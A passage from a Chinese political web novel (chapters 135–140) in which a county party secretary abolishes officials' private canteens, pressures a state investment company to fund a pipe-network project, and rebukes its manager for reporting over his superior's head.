“常委已带头,自今日起,其他小灶取消。”
“所有其他三大家的相关费用支出,即刻冻结!”
第135章 用在刀刃上!
他停顿了一下,目光锐利地投向王海峰:“王书记!”
王海峰浑身一激灵,几乎是弹了起来,慌忙应道:“江书记!”
“会后,你负责立即执行。清点三大家餐厅物品,造册封存。”
“钥匙,”江昭宁扬了扬手中之物,“由纪委统一保管封存。”
他转身对列席会议并做记录的刘志刚道:“同时,请刘主任以县委、县府联合名义,起草通知,下发各局委办、事业单位、县属国有企业。”
“取消所有领导干部小灶!”
“严禁任何形式的特供餐饮!违者,一经查实,严惩不贷!”
“这方面剩余的钱划转县财政,用在刀刃上。”
“是…是!江书记,会后我立刻落实!”刘志刚应着,额上的汗珠顺着鬓角流了下来。
他在笔记本飞快地记录着,笔尖在纸上划出急促的沙沙声。
江昭宁的目光最后落回到刘世廷脸上:“刘县长,你看,这样安排是否妥当?”
他的语气恢复了平静,甚至带着一丝询问的意味,但眼神深处,那份不容置喙的坚定丝毫未减。
刘世廷猛地抬起头,迎上江昭宁的目光,那眼神复杂得如同打翻的调色盘——有瞬间的愕然,有被逼到墙角的窘迫,有难以掩饰的愠怒,最终都化为一种深重的疲惫和不得不为的无奈。
他深吸一口气,仿佛用尽了全身力气,声音干涩而低沉:“江书记部署得…非常及时,也非常必要!”
“我…完全赞同!全力支持县府办落实好!”
“好!”江昭宁果断地截住话头,不再给他任何犹豫或补充的空间,“既然大家都没有异议,”他的目光扫过全场,在那些依旧沉默的脸上短暂停留,“那就这样定了。散会!”
话音落下,如同解开了无形的枷锁。
椅子移动的声音、收拾笔记本的窸窣声、压抑的咳嗽声、低低的交谈声瞬间响起,汇成一片有些混乱的背景音。
人们纷纷起身,动作带着一种急于逃离的仓促。
没有人再看那把钥匙,也没有人再看向主位上的江昭宁。
刘世廷几乎是第一个站起来,低着头,脚步有些虚浮地快步向门口走去。
王振邦夹着笔记本,紧随其后,脸色灰败。
李茂林面无表情,动作却异常缓慢地整理着桌上的文件,仿佛那几张纸有千斤重。
最后,所有的人都离开了。
偌大的会议室,很快只剩下江昭宁一人。
空气里似乎还残留着各种复杂的情绪——惊愕、抗拒、无奈、还有一丝不易察觉的恐慌。
会议室那扇厚重的实木门在身后无声合拢,将方才那场无声风暴的余响彻底隔绝。
江昭宁依旧坐在主位上,身体微微后靠,闭了闭眼。
一股巨大的疲惫感,如同潮水般无声地漫上来,冲刷着他紧绷的神经。
他揉了揉眼,站起身子,向自己的办公室走去。
推开办公室沉重的木门,熟悉的空间带着一种冷清的意味。
寂静在办公室里弥漫。
只有墙上挂钟秒针行走的“咔哒”声,单调而固执地切割着时间。
江昭宁伸出手,拿起桌上的红色内线电话,拨号的动作沉稳而有力,每一个按键的“嘟”声都敲打在寂静的空气里。
电话几乎是立刻就被接通了。
“江书记!”电话那头传来舒立悦沉稳中带着一丝不易察觉的紧绷的声音。
“舒局长,”江昭宁的声音不高,却带着一种穿透电话线的沉甸甸的分量,如同投入深潭的石块,每一个字都清晰无比,“全县范围内,所有领导干部小灶,一律取消。即刻执行。”
电话那头是短暂的沉默,只有细微的电流声滋滋作响。
舒立悦显然在消化这突如其来的、毫无缓冲的指令。
江昭宁甚至能想象出他握着话筒、眉头紧锁的样子。
“是,江书记。”舒立悦的声音传来,带着惯有的服从,但那份紧绷感并未消失。
“你马上协调县委办,”江昭宁的语速平稳,却不容置疑,“将各局委办、事业单位、县属国有企业用于维持小灶运行的所有相关资金,无论账目名称如何,全部冻结。”
“一个子儿也不准再动。”他顿了顿,每一个字都像淬了冰,“记住,是‘全部’。”
“是!冻结所有相关资金。”舒立悦的声音更加凝重。
“冻结之后,”江昭宁的目光投向窗外浓重的暮色,声音陡然拔高,带着一种近乎炽热的决绝,“统一划归县财政专项账户!”
“这笔钱,”他加重了语气,仿佛要凿进对方的灵魂深处,“数目不会小!”
“初步估算,至少千万级别!”
电话那端传来一声极其轻微的倒吸冷气的声音。
江昭宁能清晰地感受到对方瞬间的震动。
“这笔钱,”江昭宁的语速放缓,每一个字都承载着千钧之重,“列入机动支出费用,优先用于全县范围内小学和中学的危房改造!”
“还有,”他加重了语气,“其他关乎百姓最急最忧最盼的民生工程!必须用在刀刃上!”
“用在老百姓的心坎上!”
电话那头,陷入了一种奇异的、长久的寂静。舒立悦握着话筒,仿佛被定住了。
千万巨款,冻结,调拨,危房改造,民生工程……这几个词像滚烫的烙铁,在他脑海里猛烈撞击。
他脑中飞速闪过江昭宁上任以来的种种言行……
所有的碎片,在这一刻,被这通电话,被这千万巨资的去向,轰然贯通!
原来如此!
舒立悦只觉得一股电流从脊椎直冲头顶,豁然开朗!
江书记关闭小灶,哪里仅仅是为了节省那几十万、几百万或者上千万元?
这是釜底抽薪!
是要把这深植于特权土壤中的庞大根系彻底斩断,把那些被层层截流、在推杯换盏间蒸腾掉的民脂民膏,硬生生地从既得利益的口袋里挖出来!
这不是简单的廉政举措,这是一场硬碰硬的资源再分配!
一场向特权开刀、向民心倾斜的硬仗!
“江书记!”舒立悦的声音再次响起,这一次,那惯常的沉稳之下,涌动着一股难以抑制的激动和前所未有的力量,仿佛拨云见日,看清了方向,“我明白了!完全明白!请书记放心!”
他斩钉截铁,每一个字都像砸在地上,“我舒立悦立军令状!立刻协调县委办,动用一切必要手段,全面冻结!一分不少!”
“保证以最快速度,将这笔资金安全、完整地划入教育危改和民生专项账户!”
“刀刃所指,民之所向!绝不会有半分差池!”
第136章 让我吃斋?
“好!”江昭宁只回了一个字,却仿佛带着千钧之力。
他挂断了电话,话筒放回座机时发出“咔哒”一声轻响,在寂静的办公室里显得格外清晰。
舒立悦那句“刀刃所指,民之所向”的回响尚未散去,带着滚烫的承诺。
然而,江昭宁深沉的眼底并无丝毫轻松。
冻结资金只是第一步,千万巨款从既得利益的碗里硬生生夺出,无异于虎口拔牙。
刘世廷那言不由衷的“是”,王振邦额角的冷汗,李茂林颤抖的茶杯……一张张会议桌后的面孔在他脑中闪过。
关闭全县的小灶,这其实是捅了马蜂窝。
动了别人的奶酪,阻挡了别人的舌尖上的腐败。
今天的举措,也是自己孤身踏入这片雷区的烙印。
不一会儿,林夕将一份打印的《关于立即关停全县所有机关单位内部小灶、严格执行统一食堂标准》的文件递了过来。
江昭宁仔细地看了以后,写下了“同意发”的话,并提笔签署了自己的姓名。
县委大院,午后的空气仿佛凝固了,弥漫着一种令人窒息的沉闷。
那份《关于立即关停全县所有机关单位内部小灶、严格执行统一食堂标准》的红头文件,像一块烧红的烙铁,烫得每一个看到它的人都坐立不安。
这哪里是关几个小厨房?
分明是硬生生撬开了某些人的保险柜,把里面最隐秘、最滋润的那点油水给掏了出来,摊在明晃晃的太阳底下曝晒。
江昭宁坐在宽大的办公桌后,窗外树影斑驳,落在他棱角分明的脸上,映不出丝毫动摇。
文件是他签发的,墨迹未干,仿佛还带着他落笔时的决断。
他知道,这无异于孤身踏入一片遍布引信的地雷阵。
舌尖上的腐败,那是某些人经营多年、盘根错节的舒适区,是权力温床边最顺手、也最不易察觉的自留地。
如今,这小小的“自留地”被他毫不留情地犁平了。
消息传开,如同冷水泼进滚油锅。
刘世廷那张平日里总是带着三分精明算计的脸,此刻阴沉得能拧出水来。
他捏着文件的手指关节泛白,对着电话那头的李国栋,声音压得极低,却像淬了毒的刀子:“姓江的这是要掘人祖坟!”
“连口热乎饭都不让吃了?”
“刚开完会,马上就发文了!”
“好像发晚了别人又多吃了一口美食?舌头上又腐败了一次?”
“好,好得很!”
“我看他这把火,烧焦的是自己还是别人?”
政协那边,李茂林的反应则“含蓄”得多。
他坐在他那间摆满根雕和茶具、熏香缭绕的办公室里,慢条斯理地沏着工夫茶。
袅袅水汽后,他嘴角挂着一丝若有若无的冷笑,对着前来探口风的老部下,话里藏针:“江书记魄力大啊,刮骨疗毒,连政协这点‘汤汤水水’都不放过。”
“我们这些老头子嘛,也就这点口腹之欲的念想了,这下可好,清净了。”
“江书记让我吃斋?”
王振邦,这位资历深厚、门生故旧盘根错节的老领导,虽已到人大任职,影响力却如老树盘根。
他接到电话时,正在自家小院侍弄几盆名贵兰花。
听完老部下的汇报,他拿着小剪子的手顿了顿,眼神骤然锐利如鹰隼,随即又归于深潭般的平静,只淡淡哼了一声:“年轻气盛,不知深浅。”
“断人财路如杀人父母,他这何止是断人财路?”
“连最后这点舒坦都不给了。”
“等着看吧,这雷区,不是那么好趟的。”那声冷哼,带着洞悉世事的寒意,仿佛已预见了前方的惊涛骇浪。
他的嘴唇下意识地紧紧抿成一道下撇的细线,腮边肌肉不受控地微微抽搐着。
一种近乎被羞辱的冷硬气息从他身上弥漫开来。
那茅台专供的入口醇香,早已是他多年身份的象征,是半退不退之际仅存的精神慰藉和体面标志。
此刻江昭宁此举,等于当众宣布他连这点象征也失去了!
这个新来的小子……
这些或明或暗的恨意、怨怼和冷眼,隔着无形的空气墙,江昭宁似乎都能清晰地感知到。
他走到窗边,推开玻璃窗,一股带着尘土气息的热风涌进来。
楼下,到了晚餐时间,机关食堂门口排起了长龙,干部们拿着统一的不锈钢餐盘,神色各异。
他目光扫过几张熟悉的面孔,看到了强压的不满和无声的疏离。
但他眼底没有波澜。
搞上层治理,如同在悬崖峭壁间开凿栈道,容不得半点“自留地”。
县委、县府肯定不能。
即便是如人大、政协这两大家也不行!
一旦开口子,上行下效,明日其他部门就能以“工作特殊”、“接待需要”等千奇百怪的理由打擦边球。
所有规则就会如同被蚁穴侵蚀的堤坝,只需一场微雨,便能千疮百孔、轰然塌陷。
最终必然是功亏一篑!
民心这杆秤,重逾千钧。
若连这点特权都割舍不掉,又如何取信于民?如何号令全县?
他猛地转身,拿起桌上的红色座机,拨通了一个号码,声音沉稳有力:“周县长,管网工程是百年大计,拖不得。”
“我们一起到现场看看。”
“好!书记!”电话那头的周正平答得干脆利落,甚至带着一丝不易察觉的急切。
“你到县委院子来,坐我的车去。”江昭宁补充道,语气不容置喙。
“行!我这就过来!”
放下电话,江昭宁又拿起手机,简洁地通知司机备车,并特意加了一句:“叫上林夕。”
不过片刻功夫,那辆黑色的轿车已稳稳停在楼前。
江昭宁快步下楼,拉开车门坐了进去。
林夕已在副驾驶位,回头恭敬地叫了声:“书记。”
这时,周正平一路小跑着出现在院门口,额头上沁着一层细密的汗珠,呼吸有些急促。
他拉开车门坐进后排,带着歉意:“书记,我来迟了,让您久等。”
江昭宁摆摆手,目光投向车窗外,“不迟,你从县府那边过来,有一段距离。”
说完,他示意开车。
黑色轿车旋即加速,汇入下班后的车流,朝着城西管网铺设的工地疾驰而去。
将县委大院那片压抑的沉闷甩在身后。
第137章 什么时候能到位?
城西原本还算开阔的空地,此刻已完全沦为一片巨大的、喧嚣的创口。
重型机械的轰鸣是这里永恒的背景音,低沉而霸道,震得人脚底发麻,连空气都在微微颤抖。
十几台挖掘机的钢铁巨臂起起落落,每一次啃噬大地,都掀起漫天黄尘,如同浑浊的沙暴,将整个工地笼罩在一片昏黄之中,刺鼻的土腥味混合着柴油燃烧的呛人气息,直往人肺里钻。
巨大的管材,像一条条僵硬的钢铁巨蟒,横七竖八地堆放在泥泞的坑道边缘。
工人们如同蚂蚁般在深沟里蠕动,身影在飞扬的尘土中时隐时现。
他们喊着号子,撬动着沉重的管道,汗水早已浸透厚厚的工作服,在背上洇开大片深色的地图。
几台功率巨大的抽水机在沟底疯狂嘶吼,浑浊的泥水被强行排向临时挖掘的导流渠,水花四溅,更添了几分混乱。
陈向荣就站在这片沸腾的“创口”中心。
他穿着一身沾满泥点、辨不出原色的工装,安全帽下那张黝黑的脸庞被汗水和尘土糊得几乎看不清五官。
只有一双布满血丝的眼睛,锐利如鹰隼。
紧紧盯着沟槽深处一段正在艰难对接的巨大管道接口。
他对着手中的对讲机嘶吼着,声音沙哑得厉害,盖过了机器的轰鸣:“左边!左边再抬高点!稳住!”
“吊车,听我指挥!”
“慢…慢点落!好!稳住!焊工准备!”
就在这时,他眼角的余光瞥见了工地入口处停下的那辆熟悉的黑色轿车,以及从车上下来的人影。
陈向荣心中猛地一沉,握着对讲机的手下意识地紧了紧。
他匆匆对旁边的技术员交代了两句。
几乎是连滚带爬地从泥泞的斜坡冲了上来,深一脚浅一脚,溅起的泥浆沾满了裤腿。
“江书记!周县长!”陈向荣跑到近前,喘着粗气,胡乱抹了一把脸上的汗和泥,露出一个混杂着疲惫和紧张的苦笑,“您俩…怎么亲自来了?”
“这地方太脏太乱了,您打个电话我过去汇报就行!”
他的目光飞快地在江昭宁和周正平脸上扫过。
带着一种下级面对突击检查时本能的忐忑。
江昭宁没理会他的客套,目光越过他,直接投向下方那片热火朝天却又危机四伏的施工现场。
巨大的沟壑像一道撕裂大地的伤疤,工人们的身影在尘土中显得渺小而坚韧。
他眉头微蹙,声音穿透嘈杂:“工程进度怎么样?”
“有没有遇到什么拦路虎?”
陈向荣定了定神,挺直了腰板,指向沟槽深处正在焊接的那段关键管道接口:“报告书记,目前还算顺利!”
“我们三班倒,人停机不停。”
“您看那边,最难啃的老城区那段旧管网,主体拆除已经完成了,新管铺设也进了大半。”
“只要资金链不断,按照这个进度,工期可以缩短三分之一时间,下个月上旬,全面竣工有把握!”
他语气铿锵,带着工程人特有的自信。
但眼底深处那抹极力掩饰的忧虑,却没能完全逃过江昭宁的眼睛。
“资金链?”江昭宁敏锐地捕捉到了这个关键信息,他缓缓转过头,目光如实质般落在陈向荣脸上,“钱的事,有困难?”
他的声音不高,却带着一种沉甸甸的压迫感,让周围的空气瞬间凝重了几分。
陈向荣脸上的肌肉明显抽动了一下。
他喉结滚动,咽了口带着尘土味的唾沫,眼神下意识地瞟了一眼旁边的周正平,似乎想寻求一点暗示或支持。
周正平却只是微微垂着眼睑,看着自己锃亮的皮鞋尖沾上的泥点,面无表情。
陈向荣心一横,知道瞒不住,也无需再瞒。
他深吸一口气,带着豁出去的疲惫和无奈,声音低了几分:“书记,不瞒您说…最大的困难,就是钱!”
“前面拨付的启动资金,基本都投进去了,材料款、机械租赁费、工人工资…样样都是急茬!”
“眼下工程正卡在最吃劲的关头,后续资金要是接不上,顶多再撑个三两天,就得…就得停工等米下锅了!”
他摊开手,语气里充满了焦虑,“工人们可以勒紧裤腰带等几天,可这机器一停,租期到了人家是要开走的!”
“再组织,再进场,那耽误的可就不是几天的事了!”
“群众利益无小事!”江昭宁的声音骤然拔高,像一道冰冷的霹雳,瞬间劈开了工地上所有的喧嚣!
他猛地侧身,目光如同两道烧红的钢锥,狠狠钉在身旁的周正平脸上。
那眼神锐利、冰冷,蕴含着被触碰到底线的震怒。
“周县长!”每一个字都像是从齿缝里迸出来的,带着千钧的重量,“一分钟都耽误不得!”
“你告诉我,城投公司张宏宇那边的钱,到底什么时候能到位?!”
周正平只觉得一股寒气从脚底板直冲天灵盖,心脏像是被一只无形的手狠狠攥住。
江昭宁那瞬间爆发的气势,如同一座压抑已久的火山,灼热而危险。
他后背的衬衫瞬间被冷汗浸透,紧紧贴在皮肤上,带来一阵冰凉的黏腻感。
他下意识地挺直了腰背,喉头发紧,声音带着一丝不易察觉的干涩和滞重:“江…江书记,这个…城投那边,张宏宇张总确实一直在全力筹措。”
“您知道的,他们盘子大,资金调度有他们的流程,最近几个项目回款也慢了些…”
“不过我想,他,最迟…最迟明天!明天下午下班前,一定会把下一期的工程款打到专户上!”
“应该…应该不会影响到工程进度…”
他试图让自己的语气显得笃定些。
但那份强装出来的镇定,在江昭宁洞若观火的目光下,显得如此苍白无力。
“应该?”江昭宁嘴角勾起一个没有丝毫温度的弧度,那笑容冷得让周正平心头又是一颤。
他向前逼近半步,两人之间的距离骤然缩短,周正平甚至能清晰地感受到对方身上那股凛冽的怒意。
“周正平同志!”称呼的改变,带着一种冰冷的疏离和质问,“管网工程是民生工程!”
“你告诉我‘应该不会影响’?你告诉我钱‘明天下午’才能到?如果这中间再出半点岔子,资金链断了,工停了,你拿什么去向老百姓交代?!”
“拿你周正平的‘应该’去交代吗?!”
他的声音并不算特别高亢,却字字千钧,如同重锤,砸在周正平的心上。
也砸在周围每一个竖着耳朵听的干部和工人心上。
工地的喧嚣仿佛在这一刻诡异地安静了片刻。
只剩下抽水机不知疲倦的嘶吼和远处挖掘机的闷响。
第138章 越级汇报
江昭宁不再看周正平瞬间变得煞白的脸。
他猛地抬手,指向沟槽里那些在尘土和泥水中挥汗如雨的身影,指向那些沉默而巨大的管材:“你看看他们!看看这些在泥里水里打滚的工人兄弟!”
“看看这些等着埋下去的管道!老百姓等不起!工程等不起!”
他倏地转回头,目光重新锁定周正平,那眼神锐利如刀锋,带着不容置疑的决断和一种近乎冷酷的压迫感,一字一顿,清晰地命令道:
“现在!立刻!就在这里!打电话给张宏宇!”
他每一个字都像冰珠砸在地上:“告诉他,今天晚12点之前,钱必须一分不少地打到工程专户上!”
“如果城投公司账上实在周转不开,让他张宏宇现在亲自去银行门口守着拆借!”
“我不管他用什么办法!”
“今晚12点钟之前,这笔钱,必须到位!”
江昭宁的声音陡然拔高,斩钉截铁,在工地的喧嚣中撕开一道裂口:
“如果今天晚上12点前我看不到钱到账的信息……”
他顿了顿,目光扫过周正平瞬间失去血色的脸,最终落在那片象征着城市血脉的巨型管道上。
江昭宁声音如同淬火的钢铁,冰冷而坚硬,“我江昭宁,明天一早亲自去银行筹资!”
“不过,到了那时,他张宏宇就得从城投公司走人。”
“等待重新分配工作。”
话音落下,整个工地仿佛被按下了静音键。
重型机械的轰鸣、工人的号子、抽水机的嘶吼,都成了模糊的背景。
所有人的目光,都聚焦在那个身影挺直如标枪的县委书记身上。
他裤腿上溅满了星星点点的泥浆,深色的衬衫后背也被汗水洇湿了大片,紧紧贴着脊梁。
然而,那份不容置疑的决绝气势,压得人几乎喘不过气。
周正平只觉得脸上火辣辣的,像被无形的鞭子抽过。
他手忙脚乱地从公文包里掏出手机,手指因为紧张而微微颤抖,划了好几次屏幕才解锁。
他不敢有丝毫迟疑,立刻翻出张宏宇的号码拨了过去。
同时下意识地微微侧过身,似乎想避开江昭宁那洞穿一切的目光。
电话接通的声音,在死寂的空气中显得格外刺耳。
陈向荣站在一旁,黝黑粗糙的脸上,汗水混着泥灰淌下,留下几道清晰的痕迹。
他看着江昭宁挺立的身影,又看看焦头烂额拨打电话的周正平,下意识地舔了舔干裂起皮的嘴唇。
周正平握着手机,指尖冰凉。
听筒里传来的忙音单调而刺耳,像一根冰冷的针,反复扎刺着他的耳膜和神经。
一遍,两遍…张宏宇的名字在屏幕上固执地亮着,却始终无人应答。
汗水沿着周正平的太阳穴滑下,混着工地上飞扬的尘土,在鬓角凝成一道狼狈的泥痕。
他不敢抬头看江昭宁的脸,只觉得那道目光如有实质,沉甸甸地压在他的后颈上,几乎让他抬不起头来。
自己擂鼓般的心跳和电话里的忙音,在死寂的颅内轰鸣。
就在这时——
一阵突兀而清晰的手机铃声,如同利刃般劈开了这令人窒息的沉默。
不是周正平的。
所有人的目光,下意识地循着声音来源。
聚焦在江昭宁身上。
只见他眉头微不可察地蹙了一下,似乎对这不合时宜的来电也感到一丝意外。
他沉稳地从裤袋里掏出自己的手机,屏幕亮起,显示着一个陌生的号码。
然而,在这个时间点,在这个场合,能直接拨通县委书记私人号码的,又岂会是等闲之辈?
江昭宁的目光在那串数字上停留了半秒,眼神深处掠过一丝了然。
他拇指划过屏幕,将手机举到耳边,声音沉稳如常,听不出半分情绪:“哪位?”
电话那头,立刻传来一个极力压抑着喘息、却又带着明显邀功意味的急促男声。
那声音甚至透过听筒,隐隐传到了离得最近的周正平和陈向荣耳中:“江书记!是我,城投张宏宇!”
“打拢您了,实在不好意思!”
张宏宇的语调刻意拔高了几分,充满了某种“报喜”的亢奋,“向您报告!那笔六百万!整整六百万!”
“我这边,那是跑断了腿,磨破了嘴皮子,求爷爷告奶奶,费了九牛二虎之力,总算是…”
“总算是从银行里给挤出来了!”
“一分不少!总算是完成了您亲自下达的任务!书记,我……”
江昭宁握着手机,身形纹丝未动,仿佛一座不受外物侵扰的礁石。
然而,他眼底深处,那一点刚刚因资金解决而泛起的微澜,在张宏宇那邀功请赏、刻意强调“亲自下达”的话语冲击下,瞬间冻结、碎裂,化为一片深不见底的寒潭。
一丝极淡、却极其锋利的冷意,如同冰锥,悄然爬上他的眉梢。
“张总,”江昭宁开口了,声音平稳得没有一丝波澜,甚至听不出喜怒,却像一块冰冷的铁板,硬生生截断了张宏宇滔滔不绝的表功,“完成任务,是好事。”
他顿了顿,每一个字都清晰无比,带着不容置疑的指令意味,“现在,立刻,把这笔钱,一分不少地打入住建局管网工程的专用账户。立刻执行。”
话到这里,似乎就该结束。
张宏宇在电话那头,悬着的心刚要放下,嘴角那点讨好的笑意还没来得及完全展开——
江昭宁的话锋,却毫无征兆地陡然一转!
如同平静海面下骤然掀起的惊涛骇浪!
“不过,”这一个转折词,冰冷坚硬,砸得电话那头的张宏宇心头猛地一坠。“涉及到具体工作事项的汇报流程,张宏宇同志,你似乎不太清楚?”
江昭宁的声音陡然拔高了几分,不再是刚才的公事公办,而是带上了一种清晰的、近乎训诫的严厉!
这严厉的声音穿透听筒,也穿透了工地嘈杂的声浪,清晰地钻进周围每一个竖起耳朵的干部和工人耳中:“工程款项的筹集、拨付进度,这属于你的业务范畴,更是周正平县长的分管领域!”
“你首先、也必须向你的直接分管领导,周正平县长汇报!”
“而不是,”江昭宁的声音如同淬了冰的钢针,带着洞穿一切的锋芒,一字一顿,凿在所有人的心上,“越、过、层、级!直接、向、我、汇、报!”
“规矩就是规矩!程序就是程序!”江昭宁的声音如同重锤,一下下敲打着无形的秩序之墙,“如果县里每一个部门负责人,都像你张宏宇今天这样,动辄就为一个具体事项,直接给我这个县委书记打电话‘报喜’、‘表功’、‘诉苦’,那还要分管领导做什么?”
“还要组织架构做什么?”
“那样一来,岂不是人人各行其是?规定制度形同虚设,彻底乱套?!”
第139章 弄巧成拙!
每一个反问,都像一记响亮的耳光,隔着电波,狠狠抽在张宏宇的脸上!
电话那头,城投公司装修奢华的总经理办公室里,刚才还志得意满、准备迎接书记褒奖的张宏宇,整个人如同被瞬间抽掉了脊梁骨,僵在了宽大的真皮座椅上。
他脸上的血色“唰”地一下褪得干干净净,又在下一秒涌上羞愤交加的潮红,红白交替,精彩纷呈。
握着手机的手指因为用力而指节发白,微微颤抖。
他感觉地一股冷气直往他骨头缝里钻。
完了!弄巧成拙!
拍马屁结结实实拍到了马蹄子上!
还是最硬的那块蹄铁!
他原本打的如意算盘清脆地碎裂了。
他想凭借这六百万的“及时雨”,在江书记心中留下一个“能办事、会办事”的深刻印象。
为他觊觎的那个“一把手”位置铺路搭桥。
他甚至已经在心里预演过江书记温和的赞许和鼓励。
哪里想到,等来的不是青云梯,而是一盆彻骨冰水,浇得他透心凉!
这哪里是批评?
这是当众扒皮!
把他的那点小心思、小算计,赤裸裸地摊在了县委书记面前,更摊在了整个电话可能覆盖的“听众”面前!
巨大的落差和难堪让张宏宇的呼吸都变得粗重困难,喉咙里像是堵了一团滚烫的棉花,烧灼得他一个字也吐不出来。
他只能听到自己擂鼓般的心跳,和电话那头传来的、令人窒息的沉默压力。
“江…江书记…我…”他张了张嘴,想辩解,想挽回,想说自己只是“太激动”、“太想第一时间向书记汇报成果”,可这些苍白无力的理由,连他自己都觉得可笑。
“好了。”江昭宁的声音恢复了平淡,却带着一种结束话题的、不容置疑的冷漠,“钱,马上打过去。”
“记住,下不为例。”
“嘟…嘟…嘟…”
忙音响起,冰冷而决绝。
张宏宇失魂落魄地举着手机,听着里面传来的忙音,仿佛那不是电话挂断的声音,而是他某种隐秘野心的丧钟。
办公室的豪华水晶吊灯投下冰冷的光,映着他煞白的脸和额头上瞬间沁出的冷汗。
他像个泄了气的皮球,瘫软在座椅里,一股难以言喻的羞耻感和冰冷的恐惧,如同毒蛇,缠绕上他的心脏。
完了,至少在江书记这里,印象分怕是跌到谷底了。
他呆滞地望着桌上那份关于城投公司人事调整的草拟文件,只觉得上面的字迹都模糊扭曲起来。
工地,一片诡异的寂静。
只有抽水机还在不知疲倦地嘶吼着,喷吐着浑浊的水流。
江昭宁面无表情地收起手机,仿佛刚才那个隔着电话训斥一个实权部门一把手的插曲,只是拂去了一点微不足道的灰尘。
他缓缓转过身,目光如同探照灯,精准地落在了身旁僵立如木雕的周正平脸上。
周正平还保持着举着手机的姿势,屏幕早已因无人操作而暗了下去,像一块黑色的墓碑。
他脸上的表情复杂至极,震惊、尴尬、一丝隐秘的后怕,还有…一丝难以言喻的、如同劫后余生般的微妙情绪交织在一起。
江昭宁那番话,表面上是训斥张宏宇,可句句都点在他这个分管副县长的脸上!
尤其是那句“还要分管领导做什么”,简直像一把烧红的烙铁,烫得他灵魂都在颤抖。
这是在敲打张宏宇,又何尝不是在敲打他周正平?
是在明确地告诉他:你管的事,就是你的责任田!别想着推诿,也别想着能轻易绕开!
“周县长。”江昭宁的声音不高,却清晰地穿透了工地的噪音,带着一种不容置疑的意味,“这个张宏宇,看来是有点不太懂规矩啊。”
周正平一个激灵,猛地回过神,下意识地挺直了腰板,喉结紧张地滚动了一下:“是…书记,他…他可能是太着急了…”
“着急?”江昭宁淡淡地打断了他,嘴角勾起一丝几乎没有弧度的冷嘲,“我看,他是太‘聪明’了。”
“聪明得忘了自己该站在什么位置,该向谁负责!”
他目光锐利如刀,直视着周正平有些躲闪的眼睛,“你作为他的直接分管领导,负有管理、监督之责!”
“这种毫无组织纪律性、随意越级汇报的歪风邪气,必须坚决刹住!”
“回头,你要严肃批评他!”
“让他深刻认识到错误的性质!这不是小事,这是原则问题,是组织纪律的红线!”
他的语气斩钉截铁,没有丝毫转圜余地:“以后,凡是城投公司涉及工程资金、项目推进等具体业务事项,必须由张宏宇首先向你周正平同志全面、详细汇报!”
“由你负责掌握情况、协调处理、督促落实!”
江昭宁向前微微倾身,目光如同实质般压在周正平肩上,“我,只要结果。”
“过程,由你周正平全权把握,全权负责!听明白了吗?”
“是!书记!我明白!我一定严格管理,严肃纪律!确保类似情况绝不再发生!”周正平站得笔直,声音带着一丝不易察觉的颤抖,却异常响亮地回答道。
后背的冷汗已经湿透了衬衫,紧贴着皮肤,带来一阵阵冰凉的战栗。
江昭宁的话,既是敲打,也是授权,更是将一副沉甸甸的担子,不容置疑地压在了他的肩上。
他感到了巨大的压力,但同时,一种被“赋予”的、混合着敬畏的责任感,也在心底悄然滋生。
他知道,从这一刻起,城投公司、乃至分管领域的任何事情,他都必须真正地顶上去,再不能有丝毫含糊和推脱。
江昭宁深深地看了周正平一眼,那目光似乎要穿透他的皮肉,直抵内心深处。
数秒后,他才微微颔首,算是接受了这个表态。
对于江昭宁而言,刚才那场短暂却惊心动魄的交锋。
只是一个小插曲。
他的核心关切,始终牢牢钉在这片承载着民生的土地上。
“陈局长!”江昭宁的声音恢复了之前的沉稳,但多了一份不容置疑的力量,“钱,马上到位。六百万。”
一直屏息凝神、大气不敢出的陈向荣,闻言猛地一抬头,眼中爆发出难以置信的狂喜!
那笔救命的钱!
竟然真的…真的在书记一通电话之后,就这么…解决了?
他黝黑的脸上瞬间绽放出光彩,所有的疲惫和焦虑一扫而空,只剩下纯粹的激动和振奋。
“听到了吗?”江昭宁的声音陡然拔高,如同洪钟,盖过了工地的喧嚣,清晰地传入每一个竖起耳朵的工人耳中,“钱,马上就到账!一分不少!”
他猛地抬手,指向脚下这片沸腾的土地,指向那些沾满泥浆却眼神坚毅的面孔,声音带着一种能点燃热血的穿透力:“工人兄弟们!甩开膀子!给我铆足了劲干!”
“设备,给我开足马力!材料,给我源源不断送进来!”
“工期,一天都不能拖!”
“质量,一丝一毫都不能含糊!”
“有没有信心,按时、保质、保量,拿下这个硬骨头?!”
“有——!”
短暂的沉寂后,一声震耳欲聋的吼声,如同压抑已久的火山,猛地从沟槽深处、从管材堆旁、从每一个沾满汗水和泥浆的胸膛里爆发出来!
那声音汇聚成一股洪流,瞬间冲散了之前的沉闷和压抑,在尘土飞扬的工地上空久久回荡!
第140章 压秤的大石头
无数双眼睛,带着感激、带着振奋、带着重新燃起的熊熊斗志,齐刷刷地聚焦在那个裤腿上溅满泥点、衬衫后背汗湿一片,却挺立如山岳般的县委书记身上!
挖掘机的轰鸣陡然变得更加有力,金属的撞击声更加密集清脆。
刚才还显得疲惫的身影,此刻仿佛被注入了新的力量,动作变得迅猛而充满干劲。
江昭宁看着这重新沸腾起来的工地,看着那一张张被希望点燃的脸,眼底深处,那抹冰冷的锋芒终于缓缓敛去。
他不再言语,只是负手而立,像一根定海神针,牢牢钉在这片喧嚣与希望交织的土地上。
夕阳光落在他身上,拉出一道长长的、坚毅的影子。
县城最繁华的十字路口,“金鼎”四个鎏金大字在暮色里灼灼燃烧。
巨大的玻璃幕墙倒映着车河流光,宛如一块冰冷而昂贵的琥珀,将外界的喧嚣与尘埃隔绝。
旋转门无声地吞吐着衣着光鲜的男女。
门内,是另一个世界——光可鉴人的黑色大理石地面延伸开去,穹顶垂下的巨型水晶吊灯倾泻下暖黄又冰冷的光瀑。
空气里浮动着一种精心调配的昂贵香氛,混合着若有若无的雪茄烟丝气味。
三楼,“锦绣江南”包厢。
厚重的雕花木门紧闭,将门外的丝竹宴饮之声过滤成模糊的背景音。
巨大的圆形转盘中央,是一盆怒放的红掌,花瓣边缘镶着金箔。
菜已上过数轮,精致的骨瓷盘碟层层叠叠,水晶杯里酒液晃漾。
此刻,席面焦点是中央一瓶刚启封的飞天茅台。
浓郁醇厚的酱香霸道地压过了其他所有气味,丝丝缕缕,钻进每个人的毛孔。
县长刘世廷稳稳起身,双手捧起一只满斟的酒杯,那澄澈透明的液体在灯下泛着温润的琥珀光。
他的笑容如同精心熨烫过,纹丝不乱,目光先落在主宾位的王振邦身上,随即转向旁边的李茂林。
